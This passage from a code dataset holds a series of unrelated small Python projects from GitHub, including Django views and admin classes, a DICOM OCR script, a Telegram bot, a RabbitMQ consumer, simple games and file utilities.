url(r'^order21/$', views.order, name='order'),\n    url(r'^password_recovery/$', views.password_recovery, name='password_recovery'),\n    url(r'^search/$', views.search, name='search'),\n    url(r'^subscr/$', views.subscr, name='subscr'),\n    url(r'^login2/$', views.login1234, name='login1234'),\n    url(r'^login15/$', views.login842d, name='login842d'),\n    url(r'^login9/$', views.login52ea, name='login52ea'),\n    url(r'^login1/$', views.loginfd9a, name='loginfd9a'),\n    url(r'^login14/$', views.login546a, name='login546a'),\n    url(r'^create_account/$', views.create_account, name='create_account'),\n    url(r'^blog2/$', views.blog, name='blog'),\n    url(r'^blog7/$', views.blog905b, name='blog905b'),\n    url(r'^blog10/$', views.blogcd64, name='blogcd64'),\n    url(r'^blog12/$', views.blogf80d, name='blogf80d'),\n    url(r'^about_us/$', views.about_us, name='about_us'),\n    url(r'^delievery/$', views.delievery, name='delievery'),\n    url(r'^legal_notice/$', views.legal_notice, name='legal_notice'),\n    url(r'^dialog_index/$', views.dialog_index, name='dialog_index'),\n    url(r'^default/$', views.default, name='default'),\n    url(r'^(?P<product_id>[0-9]+)/add/$', views.add, name='add'),\n    url(r'^show/$', views.show, name='show'),\n    url(r'^(?P<product_id>[0-9]+)/remove/$', views.remove, name='remove'),\n    url(r'^empty/$', views.empty, name='empty'),\n    url(r'^thankyou/$', views.thankyou, name='thankyou'),\n    url(r'^(?P<product_id>[0-9]+)/remove_single/$', views.remove_single, name='remove_single'),\n\n       \n]   \n","repo_name":"ritz1302/giftwebsite","sub_path":"giftwebsite/tohfa/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37561465785","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar  9 15:37:11 2022\n\n@author: soyrl\n\"\"\"\n\n#https://stackoverflow.com/questions/50655738/how-do-i-resolve-a-tesseractnotfounderror\nimport pytesseract \n# Set the path to Tesseract OCR executable\npytesseract.pytesseract.tesseract_cmd = 'C:\\\\Program Files\\\\Tesseract-OCR\\\\tesseract.exe'\n\nimport cv2\nimport numpy as np\nimport os\nimport pydicom as dicom\nimport time\nimport warnings\n\nwarnings.filterwarnings(\"ignore\") # Ignore warnings in the code\n\nstart=time.time()\n\npath_images=\"C:/Users/soyrl/Desktop/ocr/\" #Path to DICOM slices\n\n#Path to save line with nodule id\npath_to_save=\"C:/Users/soyrl/Desktop/ocr_images/\"\n\n#Create this folder if it does not exist\nif not os.path.exists(path_to_save):\n    os.mkdir(path_to_save)\n\n#Settings and characters that can be used to recognize the nodule id\ncustom_config = r'-c tessedit_char_whitelist=L0123456789 --oem 1 --psm 6'\nL_nod_names=['L01','L02','L03','L04','L05','L06','L07','L08','L09','L10']\nnod_names=['01','02','03','04','05','06','07','08','09','10']\n\n#Initialize empty lists to be filled below with nodules and slices with errors\nfinal_class={}\nerrors=[]\n\nfor file in os.listdir(path_images): #Loop through all DICOM slices\n\n        path=path_images+file #Get the path of the current DICOM slice\n    \n        dicom_file_final=dicom.dcmread(path) #Read it\n        img=dicom_file_final.pixel_array #Load pixel data\n        \n        img2=cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) #Convert to grayscale\n        \n        thresh = cv2.threshold(img2,150,255,cv2.THRESH_BINARY)[1] #Get a thresholded image with only nodules\n\n        thresh=thresh[0:30,:] #Get first lines/rows of the image with the nodule id number\n    \n        #if this line contains a nodule id (it is not empty)    \n        if (len(np.unique(thresh[0:30,50:150]))>1 and \n            len(np.where(thresh[0:30,50:150]==255)[0])>2):#and '5' in file.split('.')[4]:#'138' in file: #0,120\n        \n            print(file) #Print the file name/slice that contains the nodule id\n            cv2.imwrite(path_to_save+str(file)+'.png',thresh) #Save yellow mask - range from 0-255\n    \n    \n            #Get contours for each object and create a rectangle around them\n            contours = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n            contours = contours[0] if len(contours) == 2 else contours[1]\n            ymin=1024\n            ymax=0\n            xmin=1024\n            xmax=0\n            \n            Lclass=[]\n            others=[]\n            \n            for cntr in contours:\n                x,y,w,h = cv2.boundingRect(cntr)\n                if x<xmin:\n                    xmin=x\n                if y<ymin:\n                    ymin=y\n                if x+w>xmax:\n                    xmax=x+w\n                if y+h>ymax:\n                    ymax=y+h\n                cv2.rectangle(img, (x-1, y-1), (x+w+1, y+h+1), (0, 0, 255), 1) #last argument thickness - was 2\n          \n                #Ensure that we are on the limits of the image\n                if y-10<0:\n                    new_y=0\n                else:\n                    new_y=y-10\n                    \n                character=img[new_y:y+h+10,x-10:x+w+10,:] #extract part of the image with the characters\n                character = cv2.resize(character, (50, 50)) #resize image with the characters\n                character2=cv2.cvtColor(character, cv2.COLOR_BGR2GRAY) #convert to gray\n\n                #Use pytesseract for OCR\n                if len(pytesseract.image_to_string(character2, config=custom_config))!=0:\n                    for elem in pytesseract.image_to_string(character2, config=custom_config).split('\\n'):\n                        if elem in L_nod_names:\n                            Lclass.append(elem)\n                        elif elem in nod_names:\n                            others.append(elem)\n\n            #Just a check to confirm that we didn't miss characters\n            if len(others)>len(Lclass):\n                final_class[file.split('.')[4]]=others\n            \n            if Lclass in final_class.values() and len(Lclass)==1 and len(others)!=0:\n                    for oelem in others:\n                        if oelem not in list(final_class.values())[:-11]: \n                            final_class[file.split('.')[4]]=oelem\n                           \n                        else:\n                            print('ERROR in {}'.format(file.split('.')[4]))\n                            errors.append(file.split('.')[4])\n            \n            elif Lclass!=[] and file.split('.')[4] not in final_class:\n                final_class[file.split('.')[4]]=Lclass\n    \n                \n            print(\"\\n\")   \n    \n   \n# Define a new list to store the modified values          \nnew_value=[] \n\n# Loop over the values of final_class dictionary\nfor slice_elem in list(final_class.values()):\n    if isinstance(slice_elem, list):\n        temp_list=[]\n        for elem in slice_elem:\n            if elem not in temp_list and 'L'+elem not in temp_list:\n                if 'L' not in elem :\n                    elem='L'+elem\n                    temp_list.append(elem)\n                else:\n                    temp_list.append(elem)\n\n        # Append the modified list to the new_value list                    \n        new_value.append(temp_list)\n    \n    else:\n        # If the value is not a list, modify it and append as a list to new_value\n        if 'L' not in slice_elem :\n            slice_elem='L'+slice_elem\n            new_value.append(list([slice_elem]))\n        else:\n            new_value.append(list([slice_elem]))\n\n# Update the values of final_class dictionary with the modified values in new_value                \nfor index,value in enumerate(new_value):\n        final_class[list(final_class.items())[index][0]]=value\n\n# Convert the sublists in new_value to single values, if possible\nif isinstance(new_value[0],list):\n    new_value=[elem[0] for elem in new_value]\n\n# Define a list to store the unique nodules    \nnodules=[]\n# Get the unique values from new_value and store in nodules list\nfor unique in np.unique(new_value):\n    for elem in unique:\n        if elem not in nodules and elem.isdigit():\n            nodules.append(elem)\n\nnodules.sort() # Sort the nodules list\n\nnod_num=[1,2,3,4,5,6,7,8,9,10] # Define the expected nodule ids\n\n# Convert the nodules to integer values\nfor index,val in enumerate(nodules):\n    nodules[index]=int(val[-2:])  \n    \npos_errors=[] # Define a list to store the missing nodule ids\n# Check for missing nodule ids\nfor miss_val in nod_num:\n    if miss_val not in nodules:\n        pos_errors.append(miss_val)\n        \n# Print the missing nodules information\nif len(pos_errors)==1:\n    print(\"Slices {} may contain nodule with id {}\".format(errors,pos_errors[0]))\nelse:\n    print(\"Slices with errors are {} and nodule ids that they might contain are {}\".format(errors,pos_errors))\n    \n    \nend=time.time()\nprint(\"Total time to run: {} sec\".format(end-start))                \n      ","repo_name":"nsourlos/OCR_Siemens_AI_Rad_Companion","sub_path":"ocr_red_color.py","file_name":"ocr_red_color.py","file_ext":"py","file_size_in_byte":7004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20305433207","text":"def match(str):\n opo1=[]\n opo2=[]\n opo3=[]\n clo1=[]\n clo2=[]\n clo3=[]\n for i in range(0,len(str)):\n   l=str[i]\n   if l == \"(\" :\n        opo1=opo1 + [\"(\"]\n   elif l == \"{\" :\n        opo2=opo2 + [\"{\"]\n   elif l == \"<\" :\n        opo3=opo3 + [\"<\"]\n   elif l == \")\" :\n        clo1=clo1 + [\")\"]\n   elif l == \"}\" :\n        clo2=clo2 + [\"}\"]\n   else:\n        clo3=clo3 + [\">\"]\n   i=i+1\n if len(opo1)==len(clo1) and len(opo2)==len(clo2) and len(opo3)==len(clo3) :\n    return True\n else:\n    return False\n\ns=input(\"enter a string\")\nd=match(s)\nprint(d)\n","repo_name":"Aishuav01/Retry","sub_path":"me.py","file_name":"me.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"14575464028","text":"import os\nimport shutil\nfrom distutils.dir_util import copy_tree\n\nimport utils\n\n\ndef append_to_file_after_line_last_occurence(fname, after, what):\n  with open(fname, 'r', encoding='utf-8') as f:\n    text = f.readlines()\n  already_exists = [idx for idx, s in enumerate(text) if what in s]\n  if already_exists:\n    return\n  index_after = utils.get_last_nth_occurence_of_list_element(text, after, 1)\n  if not index_after:\n      index_header_end = utils.get_last_nth_occurence_of_list_element(text, '    <!-- ==================================', 1)\n      if not index_header_end:\n        return\n      else:\n          index_after = index_header_end + 1\n  text.insert(index_after, what + '\\n')\n  with open(fname, 'w', encoding='utf-8') as out:\n    out.write(''.join(text))\n\n\ndef copy_dir(src, dst, delete_dir_if_exists=False):\n    print('dir : '+src, dst)\n    if delete_dir_if_exists == False and os.path.isdir(dst):\n        raise Exception('Directory már létezik: ' + dst)\n    if os.path.isdir(src):\n        print('  '+dst)\n        copy_tree(src, dst)\n\n\ndef create_old_file(fname):\n    if os.path.isfile(fname + '_old'):\n        raise Exception('már létezik: ' + fname + '_old')\n        # os.remove(fname)\n        # move_file(fname + '_old', fname)\n    move_file(fname, fname + '_old')\n\n\ndef replace_in_file(fname, from_to):\n    text = ''\n    with open(fname, 'r', encoding='utf-8') as f:\n        text = f.read()\n        for pair in from_to:\n            text = text.replace(pair[0], pair[1])\n            text = text.replace(pair[0].upper(), pair[1].upper())\n    with open(fname, 'w', encoding='utf-8') as f:\n        f.write(text)\n\n\ndef move_file(src, dst):\n    print('file: '+src, dst)\n    if os.path.isfile(src):\n        print('  '+src)\n        shutil.move(src, dst)\n\n\ndef copy_file(src, dst):\n    print('file: '+src, dst)\n    if os.path.isfile(src):\n        print('  '+src)\n        shutil.copyfile(src, dst)\n    else:\n        print('  '+ src + '  nem létezik')\n\n\ndef copy_file_and_replace(src, dst, from_to):\n    copy_file(src, dst)\n    replace_in_file(dst, from_to)\n\n\ndef move_dir(src, dst):\n    print('dir : '+src, dst)\n    if os.path.isdir(src):\n        print('  '+src)\n        shutil.move(src, dst)\n\ndef get_files_from_path_ext_filtered(path, ext, cont):\n    out = []\n    for root, dirs, files in os.walk(path):\n        for file in files:\n            if file.endswith(ext) and cont in file:\n                out.append(os.path.join(root, file))\n    return out\n\n\ndef get_files_from_path_fname_filtered(path, name):\n    out = []\n    for root, dirs, files in os.walk(path):\n        for file in files:\n            if name in file:\n                out.append(os.path.join(root, file))\n    return out\n\n\ndef get_files_from_path_ext_find_content(path, ext, cont):\n    out = []\n    for root, dirs, files in os.walk(path):\n        for file in files:\n            if file.endswith(ext):\n                if file_contains(os.path.join(root, file), cont):\n                    out.append(os.path.join(root, file))\n    return out\n\n\ndef file_contains(file, cont,):\n    with open(file, 'r', encoding='utf-8') as f:\n        if cont in f.read():\n            return True\n    return False\n\n\ndef load_from_file(fname):\n    project_root = os.path.dirname(os.path.dirname(__file__))\n    with open('/'.join([project_root,'scripts',fname]), 'r') as f:\n        return [x for x in f.read().split('\\n') if not x.startswith('#')]","repo_name":"pasztorb71/scripts","sub_path":"Berci/scripts/utils_file.py","file_name":"utils_file.py","file_ext":"py","file_size_in_byte":3402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35298785648","text":"import telebot\nimport os\nfrom dotenv import load_dotenv\nimport model\n\nload_dotenv()\n\nTOKEN = os.getenv(\"TELEGRAM_BOT_TOKEN\")\n\nbot = telebot.TeleBot(TOKEN)\nbot.set_webhook()\n\n@bot.message_handler(commands=['start'])\ndef start(message):\n    \"\"\"\n    Bot will introduce itself upon /start command, and prompt user for his request\n    \"\"\"\n    try:\n        # Start bot introduction    \n        start_message = \"Hello, HealthServe volunteers! I'm an automated chatbot designed to enhance your understanding of medical coverage for migrant workers and the challenges they face in accessing these services in Singapore. My responses are available in English, Chinese, Bengali and Tamil to cater to the various demographics of migrant workers. Kindly allow me a moment to organize my responses to your questions, as I am not a human operator. Do note that \"\n        bot.send_message(message.chat.id, start_message)\n\n    except Exception as e:\n        bot.send_message(\n            message.chat.id, 'Sorry, I do not have the information to answer your question. Do rephrase your question again or try again later!')\n\n\n@bot.message_handler(content_types=['text'])\ndef send_text(message):\n    response = model.getResponse(message.text)\n    bot.send_message(message.chat.id, response)\n\ndef main():\n    \"\"\"Runs the Telegram Bot\"\"\"\n    print('Loading configuration...') # Perhaps an idea on what you may want to change (optional)\n    print('Successfully loaded! Starting bot...')\n    bot.infinity_polling()\n\n\nif __name__ == '__main__':\n    main()","repo_name":"Bchuasj/AIHG4T1TeleBot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70389577652","text":"import urllib.request\nimport random\n\nalphabet_list = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',\n                 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\n               \nguess_display = ''\n\n\nclass color:\n    GREEN = '\\033[92m'\n    YELLOW = '\\033[93m'\n    WHITE = '\\033[97m'\n    RED = '\\033[91m'\n\n\nURL = 'https://gist.githubusercontent.com/cfreshman/a03ef2cba789d8cf00c08f767e0fad7b/raw/5d752e5f0702da315298a6bb5a771586d6ff445c/wordle-answers-alphabetical.txt'\n\nwith urllib.request.urlopen(URL) as response:\n    word_list = response.read().splitlines()\n\n\ndef win(user_guess, wordle_word):\n    '''\n    user_guess and wordle_word are strings of the guessed word and answer\n    returns if the user guess matched the correct word\n    '''\n\n    if user_guess == wordle_word:\n        return True\n    return False\n\n\ndef update_available_alphabet(color_letter, value):\n\n    '''\n    color_letter: is the new color of the alphabet letter depending on the user guess\n    value is the letter being tested\n    updates the color values of the alphabet to show the user their guessed letters\n    '''\n\n    global alphabet_list\n    source_alphabet_list = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',\n                 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'] \n\n    # if value not in alphabet_list:\n    #     return\n    # else:\n    new_index = source_alphabet_list.index(value)\n    alphabet_list.pop(new_index)\n    alphabet_list.insert(new_index, color_letter)\n\n\ndef display_user_guess(user_guess, wordle_word):\n\n    '''\n    wordle_word_list is a list of the answer\n    user_guess is a string of the current guessed submission by the user\n    returns an updated display of the user guess that is color sorted depending on correct value and index\n    '''\n\n    global guess_display\n    wordle_word_list = list(wordle_word)\n    color_letter = ''\n\n    for index, value in enumerate(user_guess):\n        if value == wordle_word_list[index]:\n            color_letter = f\"{color.GREEN}{value}{color.WHITE}\"\n            guess_display += color_letter\n            update_available_alphabet(color_letter, value)\n        elif value in wordle_word:\n            color_letter = f\"{color.YELLOW}{value}{color.WHITE}\"\n            guess_display += color_letter\n            update_available_alphabet(color_letter, value)\n        else:\n            guess_display += value\n            color_letter = f\"{color.RED}{value}{color.WHITE}\"\n            update_available_alphabet(color_letter, value)\n    guess_display += '\\n'\n    return guess_display\n\n\ndef wordle(wordle_word):\n\n    '''\n    wordle_word is a string word that is always 5 letters long that the user is trying to guess\n    returns the user input, displays the guess attempts, calls all user visiual displays, and the win/loss statements\n    '''\n\n    guess_attempts = 6\n    print('Welcome to Wordle')\n    print('Please enter a five lettter word! Guess correct letter, correct spot! = Green')\n    print('Guess correct letter, wrong spot! = Yellow')\n    print('Guess the wrong letter! = Red.')\n    print('You have', guess_attempts, 'guesses. Good Luck!!!')\n\n    while guess_attempts > 0:\n        user_guess = input('Enter a five letter word ').upper()\n        if len(user_guess) != 5: \n            print('That was not a 5 letter word, please enter a five letter word!')\n        elif user_guess.isalpha() != True:\n            print('You have not entered all letter, please enter a five letter word!')\n        else:\n            print(display_user_guess(user_guess, wordle_word))\n            if win(user_guess, wordle_word) == True:\n                guess_attempts -= 1\n                print('Congratulations!! You have guessed ', wordle_word,\n                    'it took you', (6 - guess_attempts), 'guesses')\n                break\n            else:\n                print(''.join(alphabet_list))\n                guess_attempts -= 1\n                print('You have', guess_attempts,'guesses left!')\n                if guess_attempts < 1:\n                    print('Sorry, You ran out of guesses. The word was ', wordle_word)\n                    break\n\n\nwordle_word = random.choice(word_list).decode('utf-8').upper()\nwordle(wordle_word)\n","repo_name":"DanielSJuarez/python_wordle","sub_path":"wordle.py","file_name":"wordle.py","file_ext":"py","file_size_in_byte":4237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18143633537","text":"import pika\nimport json\nimport csv\n\n\ndef main():\n    with pika.BlockingConnection(pika.ConnectionParameters(host='rabbitmq')) as connection:\n        channel = connection.channel()\n\n        channel.queue_declare(queue='data')\n        channel.queue_declare(queue='commands')\n\n        def receive_data(ch, method, properties, body):\n            body = body.decode()\n            print(f'Received data {body}')\n\n            with open('data.csv', 'a') as f:\n                csvwriter = csv.writer(f)\n                csvwriter.writerow(json.loads(body).values())\n\n        def receive_commands(ch, method, properties, body):\n            body = body.decode()\n            print(f'Received command {body}')\n\n            with open('commands.csv', 'a') as f:\n                csvwriter = csv.writer(f)\n                csvwriter.writerow(json.loads(body).values())\n\n        channel.basic_consume(queue='commands', on_message_callback=receive_commands, auto_ack=True)\n        channel.basic_consume(queue='data', on_message_callback=receive_data, auto_ack=True)\n        channel.start_consuming()\n\n\nif __name__ == '__main__':\n    main()\n\n","repo_name":"Warex1000/rabbitmq_message_docker_compose","sub_path":"receive/receive.py","file_name":"receive.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6496915295","text":"def checkio(first, second):\n    f=first.split(',')\n    s=second.split(',')\n    lis=[]\n    for i in range(len(f)):\n        if f[i] in s:\n            lis.append(f[i])\n    print(str(lis))\n\n    st=','.join(sorted(lis))\n    print(st)\n    # for k in lis:\n    #     print(f'k={k}')\n    #     st+=''.join(k)\n    # print(st)\n    return st\n\n\n# These \"asserts\" using only for self-checking and not necessary for auto-testing\nif __name__ == '__main__':\n    assert checkio(\"hello,world\", \"hello,earth\") == \"hello\", \"Hello\"\n    assert checkio(\"one,two,three\", \"four,five,six\") == \"\", \"Too different\"\n    assert checkio(\"one,two,three\", \"four,five,one,two,six,three\") == \"one,three,two\", \"1 2 3\"\n","repo_name":"RomanRusyn/SSTests","sub_path":"Scientific Expedition/Common Words/mission.py","file_name":"mission.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38525513272","text":"import PySimpleGUI as sg\n\nfrom NetLogoDOE.src.gui.custom_components import header, question_mark_button\nfrom NetLogoDOE.src.gui.custom_windows import show_help_window\nfrom NetLogoDOE.src.gui.help_dictionary import help_text\n\n\nclass MainScreen:\n\n    def __init__(self):\n        button_size = (25, 1)\n        button_pad = ((5, 0), (20, 0))\n        self.layout = [[header('NetLogoDOE')],\n                       [sg.Text('NetLogoDOE is a GUI that provides easy design, execution and analysis of NetLogo '\n                                'experiments. All functionalities can be accessed from this GUI, so no programming '\n                                'is needed. If anything is unclear, click the \"?\" buttons for more information.',\n                                size=(50, 5), pad=(0, 0))],\n                       [sg.Button('Parameter space search', key='main_experiment_button', size=button_size, pad=button_pad),\n                        question_mark_button('main_experiment_help_button', padding=button_pad)],\n                       [sg.Button('Reporter value analysis', key='main_standard_button', size=button_size, pad=button_pad),\n                        question_mark_button('main_standard_help_button', padding=button_pad)],\n                       [sg.Button('Import results', key='main_import_button', size=button_size, pad=button_pad),\n                        question_mark_button('main_import_help_button', padding=button_pad)],\n                       [sg.Button('Close', key='main_close_button', pad=button_pad)]]\n\n    def check_events(self, event, values, window):\n        if event == 'main_experiment_button':\n            window['main_panel'].update(visible=False)\n            window['experiment_panel'].update(visible=True)\n        if event == 'main_standard_button':\n            window['main_panel'].update(visible=False)\n            window['standard_panel'].update(visible=True)\n        if event == 'main_import_button':\n            window['main_panel'].update(visible=False)\n            window['import_panel'].update(visible=True)\n\n        # Help events\n        if event == 'main_experiment_help_button':\n            show_help_window(help_text['experimental_runs'],\n                             location=(window.CurrentLocation()[0] - ((434 - window.size[0]) / 2),\n                                       window.CurrentLocation()[1] + 100))\n        if event == 'main_standard_help_button':\n            show_help_window(help_text['standard_runs'],\n                             location=(window.CurrentLocation()[0] - ((434 - window.size[0]) / 2),\n                                       window.CurrentLocation()[1] + 100))\n        if event == 'main_import_help_button':\n            show_help_window(help_text['import_results'],\n                             location=(window.CurrentLocation()[0] - ((434 - window.size[0]) / 2),\n                                       window.CurrentLocation()[1] + 100))\n","repo_name":"robinfaber97/NetLogoDOE","sub_path":"NetLogoDOE/src/gui/navigation/MainScreen.py","file_name":"MainScreen.py","file_ext":"py","file_size_in_byte":2919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"4773733579","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n# @File       : config.py\n# @Time       : 2023/4/21\n# @Author     : EightHalf\n# @Version    : Python 3.11.3\n# @Description: set the file path\n\"\"\"\nimport os\n\n# 文件目录设置\nroot_dir = os.path.dirname(os.path.dirname(__file__))  # 获取当前文件的上一级目录\nsrc_dir = os.path.dirname(__file__)  # 获取当前文件的目录\ndata_dir = os.path.join(root_dir, 'data')  # 获取data目录\nres_dir = os.path.join(root_dir, 'res')  # 获取result目录\nimg_dir = os.path.join(root_dir, 'image')  # 获取img目录\n\n# 参数\ncluster_num = 3  # 聚类中心个数\nmax_iter = 10  # 最大迭代次数\n","repo_name":"shimmer147/BigDataAnylisis","sub_path":"Lab3Kmeans/src/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"39097208213","text":"import random\n\nlista = [\"Cabra1\",\"Cabra2\",\"Auto\"] #Se crea la lista\n\ndef mezclar_lista(lista_original): #Funcion para mezclar la lista\n    lista = lista_original[:]\n    longitud_lista = len(lista)\n    for i in range(longitud_lista):\n        indice_aleatorio = random.randint(0, longitud_lista - 1)\n        temporal = lista[i]\n        lista[i] = lista[indice_aleatorio]\n        lista[indice_aleatorio] = temporal\n    return lista\n\nlista_mezclada = mezclar_lista(lista) #Se mezcla la lista\n\nop = 4 #Se elige una opcion (1,2,3)\nopciones = [1,2,3]\n\nwhile op < 1 or op > 3:\n  op = int(input(\"Elige la puerta 1, 2 o 3: \"))\n  premio_elegido = lista_mezclada[op-1]\n\nwhile True:\n  ran = random.choice(lista_mezclada)\n  if ran != premio_elegido and ran != \"Auto\":\n    op_abierta = lista_mezclada.index(ran)\n    print(\"Se abre la puerta {} que contenia una Cabra\".format(op_abierta+1))\n    lista_mezclada[lista_mezclada.index(ran)] = \"Abierta\"\n    break\n\nopciones.remove(op_abierta+1)\n\nop = \"z\"\nwhile op != \"y\" or op != \"n\" :\n  op = input(\"Desea quedarse con la puerta o quiere cambiar (y/n): \")\n  if op == \"n\":\n    if premio_elegido == \"Auto\":\n      print(\"Usted a ganado el Auto\")\n    else:\n      print(\"No ha acertado, se ha llevado una Cabra\")\n    break\n  elif op == \"y\":\n    if premio_elegido == \"Auto\":\n      print(\"No ha acertado, se ha llevado una Cabra\")\n    else:\n      print(\"Usted a ganado el Auto\")\n    break","repo_name":"Matracks/Juego-de-Monty-Hall","sub_path":"Juego de Monty Hall.py","file_name":"Juego de Monty Hall.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18162713533","text":"def jc(type, jid, nick, text):\n\tif not len(text): text = getName(jid)\n\ttry:\n\t\tbody = json.loads(html_encode(load_page('http://jc.jabber.ru/search.html?%s'.encode(\"utf-8\") % (urllib.urlencode({'json':'1', 'search':text.encode(\"utf-8\")})))))\n\t\tif body['result']: msg = L('Found:','%s/%s'%(jid,nick)) + ''.join(['\\n%s. %s [%s] %s' % ([t['raiting'],'-'][t['raiting']==''],t['description'],t['jid'],t['current']) for t in body['result']])\n\t\telse: msg = L('Not found.','%s/%s'%(jid,nick))\n\texcept: msg = L('Error!','%s/%s'%(jid,nick))\n\tsend_msg(type, jid, nick, msg)\n\nglobal execute\n\nexecute = [(3, 'jc', jc, 2, 'Show information about conference from jc.jabber.ru.\\njc [address]')]\n","repo_name":"isida/4","sub_path":"plugins/jc.py","file_name":"jc.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"21"}
+{"seq_id":"37672320509","text":"try:\n    from jupyter_core.paths import jupyter_data_dir                                                                             \nexcept ImportError:\n    raise ImportError(\"Could not import jupyter paths, is it installed?\")\n\nimport os, platform\n\ntry:\n    jupyter_data_dir()\nexcept:\n    raise Exception(\"Could not find jupyter data directory!\")\n\nnbext_path = os.path.join(jupyter_data_dir(), 'nbextensions')\n\nif not os.path.exists(nbext_path):\n    raise Exception(\"Could not find jupyter-contrib-nbextensions install path, is it installed?\")\n\nprint(\"Installing to %s using symbolic link (shortcut).\\nYou may have to run as administrator if on windows or depending on your jupyter installation\" % nbext_path)\n\nextension_name = os.path.abspath('.').split('/')[-1]\n\n# make symlink\nos.symlink(os.path.abspath('.'), os.path.join(nbext_path, extension_name), target_is_directory=True)\n","repo_name":"sgowda/python-setup","sub_path":"notebook-first-cell/install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"17587631883","text":"from django.contrib import admin\nfrom django.contrib.admin import helpers\nfrom django.shortcuts import render\nfrom django.utils.encoding import force_unicode\nfrom django import forms\nfrom stats.models import Statistics, Information, PoFile, Module, Branch, Domain, Category, Release\n\nclass BranchInline(admin.TabularInline):\n    model = Branch\n\nclass DomainInline(admin.TabularInline):\n    model = Domain\n    def formfield_for_dbfield(self, db_field, **kwargs):\n        if db_field.name == 'description':\n            kwargs['widget'] = forms.Textarea(attrs={'rows':'1', 'cols':'20'})\n        elif db_field.name in ('name', 'directory'):\n            kwargs['widget'] = forms.TextInput(attrs={'size':'20'})\n        elif db_field.name == 'red_filter':\n            kwargs['widget'] = forms.Textarea(attrs={'rows':'1', 'cols':'40'})\n        return super(DomainInline, self).formfield_for_dbfield(db_field, **kwargs)\n\nclass ModuleAdmin(admin.ModelAdmin):\n    fieldsets = (\n        (None, {\n            'fields': (('name','description'),\n                        'homepage', 'comment',\n                       ('bugs_base', 'bugs_product', 'bugs_component'),\n                       ('vcs_type', 'vcs_root', 'vcs_web'),\n                       'ext_platform', 'maintainers')\n        }),\n    )\n    inlines = [ BranchInline, DomainInline ]\n    search_fields = ('name',)\n\n    def formfield_for_dbfield(self, db_field, **kwargs):\n        field = super(ModuleAdmin, self).formfield_for_dbfield(db_field, **kwargs)\n        if db_field.name == 'description':\n            field.widget.attrs['rows'] = '1'\n        elif db_field.name == 'comment':\n            field.widget.attrs['rows'] = '4'\n\n        return field\n\nclass BranchAdmin(admin.ModelAdmin):\n    search_fields = ('name', 'module__name')\n\nclass DomainAdmin(admin.ModelAdmin):\n    list_display = ('__unicode__', 'directory', 'pot_method')\n    search_fields = ('name', 'module__name','directory', 'pot_method')\n\nclass CategoryInline(admin.TabularInline):\n    model = Category\n    raw_id_fields = ('branch',) # Too costly otherwise\n    extra = 1\n\nclass CategoryAdmin(admin.ModelAdmin):\n    search_fields = ('name', 'branch__module__name')\n\nclass ReleaseAdmin(admin.ModelAdmin):\n    list_display = ('name', 'status', 'weight', 'string_frozen')\n    list_editable = ('weight',)\n    inlines = [ CategoryInline ]\n    actions = ['delete_release']\n\n    def delete_release(self, request, queryset):\n        \"\"\" Admin action to delete releases *with* branches which are not linked to another release \"\"\"\n        if not self.has_delete_permission(request):\n            raise PermissionDenied\n        if request.POST.get('post'):\n            # Already confirmed\n            for obj in queryset:\n                self.log_deletion(request, obj, force_unicode(obj))\n            n = queryset.count()\n            b = 0\n            for release in queryset:\n                branches = Branch.objects.filter(category__release=release)\n                for branch in branches:\n                    if branch.releases.count() < 2 and not branch.is_head():\n                        branch.delete()\n                        b += 1\n            queryset.delete()\n            self.message_user(request, \"Successfully deleted %(countr)d release(s) and %(countb)d branch(es).\" % {\n                \"countr\": n, \"countb\": b,\n            })\n            # Return None to display the change list page again.\n            return None\n        context = {\n            \"title\": \"Are you sure?\",\n            \"queryset\": queryset,\n            \"app_label\": self.model._meta.app_label,\n            \"model_label\": self.model._meta.verbose_name_plural,\n            \"action_checkbox_name\": helpers.ACTION_CHECKBOX_NAME,\n        }\n        return render(request, 'admin/delete_release_confirmation.html', context)\n    delete_release.short_description = \"Delete release (and associated branches)\"\n\nclass InformationInline(admin.TabularInline):\n    model = Information\n    extra = 0\n\nclass StatisticsAdmin(admin.ModelAdmin):\n    search_fields = ('language__name', 'branch__module__name')\n    raw_id_fields 